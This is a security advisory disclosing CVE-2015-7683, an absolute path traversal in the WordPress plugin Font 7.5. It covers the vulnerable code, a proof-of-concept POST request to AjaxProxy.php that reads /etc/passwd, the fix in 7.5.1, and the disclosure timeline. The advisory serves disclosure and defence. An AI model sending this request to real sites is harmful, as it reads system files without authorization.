Details ================ Software: Font Version: 7.5 Homepage: https://wordpress.org/plugins/font/ CVE: CVE-2015-7683 (Pending) CVSS: 6.3 (Medium; AV:N/AC:M/Au:S/C:C/I:N/A:N) CWE: CWE-22 Description ================ An absolute path traversal vulnerability in Font 7.5 allows WordPress admins read access to system files such as /etc/passwd. Font is a WordPress plugin with over 40,000 active installs. Vulnerability ================ The vulnerability is due to the unsanitized POST parameter 'url' being passed to file_get_contents() via file_get_contents2(). >From font/Font.php: 139: $contents = $this->file_get_contents2($_POST['url'], array_merge($dataArr, $serializedArr)); . . . 515: function file_get_contents2($src, $postData = false) { . . . 550: $fileContents = @file_get_contents($src, false, $context); Proof of Concept ================ URL: http://localhost/wordpress/wp-content/plugins/font/AjaxProxy.php POST data: url=/etc/passwd&data%5Bblogurl%5D=http%3A%2F%2Flocalhost%2Fwordpress&data%5Bversion%5D=7.5&format=json&action=cross_domain_request Remediation ================ Upgrade the plugin to version 7.5.1 or higher. Timeline ================ 2015-09-29: Discovered 2015-09-30: Contacted vendor via plugin support form 2015-10-01: Reported vulnerability to wordpress.org 2015-10-02: CVE-2015-7683 assigned 2015-10-04: Vendor releases version 7.5.1 - confirmed fixed 2015-10-12: Public Disclosure References ================ [1] https://cwe.mitre.org/data/definitions/22.html Discovered by ================ David Moore @grajagandev